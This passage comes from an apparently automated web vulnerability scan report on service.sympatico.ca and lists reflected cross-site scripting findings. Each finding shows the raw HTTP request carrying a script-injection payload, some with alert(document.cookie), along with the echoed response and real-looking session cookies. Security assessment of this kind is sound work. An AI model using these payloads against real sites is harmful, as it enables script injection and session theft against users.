Set-Cookie: SMSESSION=jlLAajJ5mcyAS5AlNYFXfrEOg1DHv/rcaqHKb1eU4Vtmx6CfgQhigftj2a8UR8vcgEm7/RahM1NO+2tR46jft2qzlg3VBVSV6eJojrXNAwV0xjrKPaovVBKd7Djd/4HdvI2JRuH9lFOe2zvutu/wsp+0h8dTznXnDUzq4LVHQmx0iQCDHF4kqjbF5g00m21BZ8iErvZe6kq6Gbld0wye+9Cl7WBWvGdpwipPqZRrVzSP7DOnasANeogbdNM7NFtgEMIc2tONR6TgdUqRUUNrUrQUWQsToWTKGdgu9yvlk8UMJCAlLdWtPg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
en" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.cookie.js3b7f3"><script>alert(1)</script>bbfd874f108" />
...[SNIP]...

2.277. https://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac152"><script>alert(1)</script>a404da35b9d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsac152"><script>alert(1)</script>a404da35b9d/jquery.dialogpopup.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:27 GMT
Connection: close
Set-Cookie: SMSESSION=807PvqiY3XAnhGPSphdKFkceroPH7Hn68PFEgkCABdFna0rEIwXgi32PbebLuUsGsvWXWcaDll1NRPeh2JxlR9H7RSWB8kRo6gC9dNYwPsXbsEtv4b+Ve6wxC6KEasqLmEHb0iEpHRODKHFDIKFHvthXwttcrWzrSOOuzrnF9QYHy/aJL7ADq5zRNbKW9iieW+htJyaKhNmUs7rSVDom9kg4FIH+TUx+fz4YxxrBFIIrYL4HDDAtgb+jKBpmXFwEdI6NUZnvvHY9rE0KnZp6NNP5ysDA/++/HVwoDfw/r87pz1IBJA6TkA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsac152"><script>alert(1)</script>a404da35b9d/jquery.dialogpopup.js" />
...[SNIP]...

2.278. https://service.sympatico.ca/js/jquery.dialogpopup.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.dialogpopup.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6ca5"><script>alert(1)</script>860507b66c2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.dialogpopup.jsc6ca5"><script>alert(1)</script>860507b66c2 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:30 GMT
Connection: close
Set-Cookie: SMSESSION=lgMhLZl/y+p7AC1EpvvlSM0fLUKfdrFSxptZ5GDZiHOj7Tcr5adSxsI4DxvUVSDqa3jdAiZL+sgr/gdJQFU27itRVEKP86sA+8mn7QQjECUVVDCEaJpNW55hhlBHx6qIX7PrS4WphcKf0pVk/kIVRzRJaApzGpRIDLaW1C/myRZZsNdwC0H8In8moBACdVmP7NcPv92gV9GkR41Y7kwjfZCGViUxdgYl/c9hYZJxu29LheCdCm4rze+WUfEwt4jxv5fGkMUyhvyiAk9xwHd807dXobhIkAYZ56lQo5tCpw1dRv0ndSK4Vw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ame="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.dialogpopup.jsc6ca5"><script>alert(1)</script>860507b66c2" />
...[SNIP]...

2.279. https://service.sympatico.ca/js/jquery.easing.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.easing.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6d9d"><script>alert(1)</script>988d7c76217 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsd6d9d"><script>alert(1)</script>988d7c76217/jquery.easing.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2E